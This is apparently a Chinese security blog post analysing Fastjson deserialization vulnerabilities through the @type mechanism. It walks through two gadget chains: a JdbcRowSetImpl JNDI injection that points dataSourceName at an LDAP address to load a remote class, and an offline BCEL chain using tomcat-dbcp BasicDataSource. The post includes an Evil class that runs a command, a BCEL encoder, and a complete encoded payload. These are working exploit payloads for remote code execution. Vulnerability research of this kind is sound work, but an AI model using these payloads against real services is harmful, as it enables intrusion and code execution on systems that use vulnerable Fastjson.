瞎jb分析一波
正常的反序列化一个类是这样子的
![]()
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | package org.example;import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
 public class Main {
 public static void main(String[] args) {
 
 
 String s = "{\"name\":\"John\",\"age\":\"30\"}";
 Person person = JSON.parseObject(s, Person.class);
 System.out.println(person.getName());
 
 
 
 }
 }
 
 | 
在这里我们新建了一个Person类
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 
 | package org.example;
 public class Person {
 private String name;
 private int age;
 public Person(){
 
 }
 public int getAge(){
 System.out.println("getAge");
 return  age;
 }
 public  void setAge(int age){
 System.out.println("setAge");
 this.age = age;
 }
 public String getName(){
 System.out.println("getName");
 return name;
 }
 public void setName(String name){
 System.out.println("setName");
 this.name = name;
 }
 }
 
 
 | 
可以看到我们Person类里面调用了什么方法就会输出该方法名字,在Main.java的里面
| 1
 | Person person = JSON.parseObject(s, Person.class)
 | 
实例化了我们的Person类把它进行了反序列化,而常见的反序列化是这样子的
| 12
 
 | String s = "{\"name\":\"John\",\"age\":\"30\"}";JSONObject jsonObject = JSON.parseObject(s);
 
 | 
能不能在常规的反序列化里面把字符串当成类处理扔到里面呢,当存在一个@type键值对的时候就会实现
把字符串当成类处理
![]()
其中为什么是@type是因为在这个里面读取了第一个键的传入key做了判断,然后TypeUtils.loadClass就会加载这个类然后放到缓存
![]()
然后稀里糊涂的看完了流程发现只有set方法是全局的可以利用的,get要满足下面几种条件才可以利用
![]()
![]()
我们在看看setter方法怎么被调用的:
![]()
调用了parseObject方法进行反序列化,并且指定了反序列化对象Person类,parseObject方法会将json数据反序列化成Person对象,并且在反序列化过程中调用了Person对象的setter方法。
然后再看看另外一种方法:
![]()
调用了parse方法将json数据反序列化成java对象,并且在反序列化时调用了对象的setter方法,下一个方法:
![]()
调用了parseObject方法将json数据反序列化成java对象,并且在反序列化过程中会调用对象的setter和getter方法,可以看到这几个反序列化都是会调用setter方法的,而只有parseObject方法会调用getter方法,就是说用parseObject方法都可以调用
![]()
当反序列化是这个parseObject方法的时候这两个恶意类都可以被执行(因为getter和setter都会被调用)
在做分析调试之前先做一点准备工作,下载对应自己的jdk源码文件以便调试和阅读:https://github.com/adoptium/jdk/releases/tag/jdk8-b65,
jdk下载:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
然后把jdk源码替换到需要替换的包,一般都是在安装jdk目录src里面(没解压需要解压),对应路径,比如sun和com.sun包,里面加入java文件(因为class文件不容易调试),然后在idea项目结构里面sdk添加jdk的根目录下面的src目录就可以,调试会自动跳转到java文件。
开始调试…
JdbcRowSetImpl链加JNDI注入
首先看这个链,这个链是最简单的链子,调用关键的两个方法 :setDataSourceName()和setAutoCommit(),在fastjson中存在动态调用,我们传入name进去,他就会被调用getter方法,变成getName()自动加上get然后首字母大写。
| 12
 3
 4
 5
 6
 7
 8
 
 | public void setAutoCommit(boolean autoCommit) throws SQLException {if(conn != null) {
 conn.setAutoCommit(autoCommit);
 } else {
 conn = connect();
 conn.setAutoCommit(autoCommit);
 }
 }
 
 | 
如果conn为null就会调用connect方法,跟进看看connect方法
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 
 | private Connection connect() throws SQLException {
 
 
 
 
 
 if(conn != null) {
 return conn;
 
 } else if (getDataSourceName() != null) {
 
 
 try {
 Context ctx = new InitialContext();
 DataSource ds = (DataSource)ctx.lookup
 (getDataSourceName());
 
 
 if(getUsername() != null && !getUsername().equals("")) {
 return ds.getConnection(getUsername(),getPassword());
 } else {
 return ds.getConnection();
 }
 }
 catch (javax.naming.NamingException ex) {
 throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
 }
 
 } else if (getUrl() != null) {
 
 
 
 
 return DriverManager.getConnection
 (getUrl(), getUsername(), getPassword());
 }
 else {
 return null;
 }
 
 }
 
 
 | 
当getDataSourceName() != null成立的时候就会调用lookup,就可以导致远程加载类攻击,看看getDataSourceName()方法
![]()
返回了dataSource的值,跟进一波
![]()
找到了setDataSourceName这个方法
在BaseRowSet.Java里面
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | public void setDataSourceName(String name) throws SQLException {
 if (name == null) {
 dataSource = null;
 } else if (name.equals("")) {
 throw new SQLException("DataSource name cannot be empty string");
 } else {
 dataSource = name;
 }
 
 URL = null;
 }
 
 
 | 
在JdbcRowSetImpl.Java里面
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | public void setDataSourceName(String dsName) throws SQLException{
 if(getDataSourceName() != null) {
 if(!getDataSourceName().equals(dsName)) {
 super.setDataSourceName(dsName);
 conn = null;
 ps = null;
 rs = null;
 }
 }
 else {
 super.setDataSourceName(dsName);
 }
 }
 
 | 
就是说这个就是远程加载的地址了,我们在反序列化会自动调用setter方法,调用setDataSourceName()和setAutoCommit() ,而JdbcRowSetImpl是 BaseRowSet子类,他们都有setter,先到JdbcRowSetImpl的setter转到BaseRowSet的setter,调用时fastjson会自动加上前缀set,导致远程加载。
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | package org.example;import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
 public class Main {
 public static void main(String[] args) throws Exception{
 String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/SHzRiHto\",\"autoCommit\":true}";
 JSON.parseObject(s);
 }
 }
 
 | 
在11.0.1, 8u191, 7u201, 6u211版本之后ldap已经被限制了
不出网链子bcel
有一个条件是需要引入org.apache.tomcat的包,但是这个很常见。
| 12
 3
 4
 5
 
 | <dependency><groupId>org.apache.tomcat</groupId>
 <artifactId>tomcat-dbcp</artifactId>
 <version>9.0.20</version>
 </dependency>
 
 | 
生成恶意类字节码数组
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 
 | package org.example;import com.sun.org.apache.bcel.internal.classfile.Utility;
 import com.sun.org.apache.bcel.internal.util.ClassLoader;
 import java.io.*;
 
 import org.springframework.util.FileCopyUtils;
 
 public class fastjsonBcel {
 public static void main(String[] args) throws Exception {
 ClassLoader classLoader = new ClassLoader();
 byte[] bytes = convert("E:\\Evil.class");
 String code = Utility.encode(bytes,true);
 System.out.println("$$BCEL$$"+code);
 
 
 }
 private static byte[] convert(String filePath) throws IOException {
 File file = new File(filePath);
 
 try (InputStream inputStream = new FileInputStream(file)) {
 ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
 byte[] buffer = new byte[4096];
 int bytesRead;
 while ((bytesRead = inputStream.read(buffer)) != -1) {
 byteOutput.write(buffer, 0, bytesRead);
 }
 return byteOutput.toByteArray();
 }
 }
 }
 
 
 | 
恶意类我们可以随便写一个弹计算器
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | import java.lang.Runtime;import java.lang.Process;
 
 public class Evil {
 static {
 try {
 Runtime rt = Runtime.getRuntime();
 String[] commands = {"calc"};
 Process pc = rt.exec(commands);
 pc.waitFor();
 } catch (Exception e) {
 
 }
 }
 }
 
 
 | 
payload:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | package org.example;import com.alibaba.fastjson.JSON;
 
 public class testcon {
 public static void main(String[] args) throws Exception {
 String code = "$l$8b$I$A$A$A$A$A$A$AeQ$c9N$CA$Q$7d$N$p$N$e3$b8$An$b8$e0n$A$8d$5c$bca$bc$YL$8c$b8D$8c$c6$e8eh$3b$a4q$981$c3$a0$fe$91g$_hL$f4$D$fc$uc$f5H$c4$a5$93$ee$aaz$fd$eaUu$f5$fb$c7$cb$h$80$N$ac$98H$mmb$E$a3$icq$8ckw$c2D$G$93$iS$i$d3$i3$M$b1M$e5$aa$60$8b$n$9a$cb$9f2$Y$db$de$95d$Y$aa$uW$k$b4$9b5$e9$9f$d85$87$90$f8$a6p$ba$cc$81j$60$8b$eb$7d$fb$s$bc$o$z$G$b3$ea$b5$7d$nw$94$a6$s$ca$b7$caYo$d8$b7$b6$F$T$fd$iY$L$b3$98c$Y$d6X$d1$b1$ddz$b1$g$f8$ca$adS$3da$3b$c2$c2$3c$W8$W$z$ya$99$n$dd$a3$95$ef$85$bc$J$94$e7$SS$ab$fe$d28$ac5$a4$I$Y$92$3d$e8$b8$ed$G$aaI$3d$98u$Z$7c$H$a3$b9$7c$e5$l$a7D$92$f2$5e$K$86$5c$ee$a2$f2$b7$b3$d2$cf$8c$p$df$T$b2$d5$w$fd$w$d5$F$Z$f8$9d$ad$82$j$cf$PG$b8KO$89$d3$dc$f5$8a$80$e9$f7$d3iQ4C$96$91$ed$x$3c$81$3d$92C$83$a43$W$82$G$r$N$7eS$F$c5Q$b2$d9gD$f6$8cWD$cf$a3$v$a3Z$v$acv$d0$b7$bf$d6A$ec$ec$B$c6$dec$98$99$c148$95$d2ZY$f2$40$fbK$zA$df$ad$7f$7b$80$Y$fdT$7e$QC$e1m$e4$92cX$97O$86$3d$a6$3e$B$5e$d1J$d71$C$A$A";
 String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
 JSON.parseObject(s);
 }
 }
 
 | 
分析下链子
![]()
这里forName第二个参数为true初始化了driverClassName这个类,我们看看能不能污染driverClassLoader和driverClassName的值
![]()
![]()
发现存在两个setter方法,就说明这两个变量可控,在createConnectionFactory往上面找找,找到
![]()
createDataSource再往上找发现getConnection
![]()
既然找到了getter就可以用parseObject调用了,那我们就需要找到一个恶意类调用,于是找到了com.sun.org.apache.bcel.internal.util.ClassLoader
![]()
检查这个头是不是带有$$BCEL$$如果是就creatClass,creatClass里面Utility.decode了class_name
![]()
控制driverClassName的值的时候实际上执行了一些loaderClass的操作
![]()
![]()
最后到了class_name里面
![]()
大概链子这样子
![]()
至于为什么bcel会存在原生jdk里面可以看看大佬的文章
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html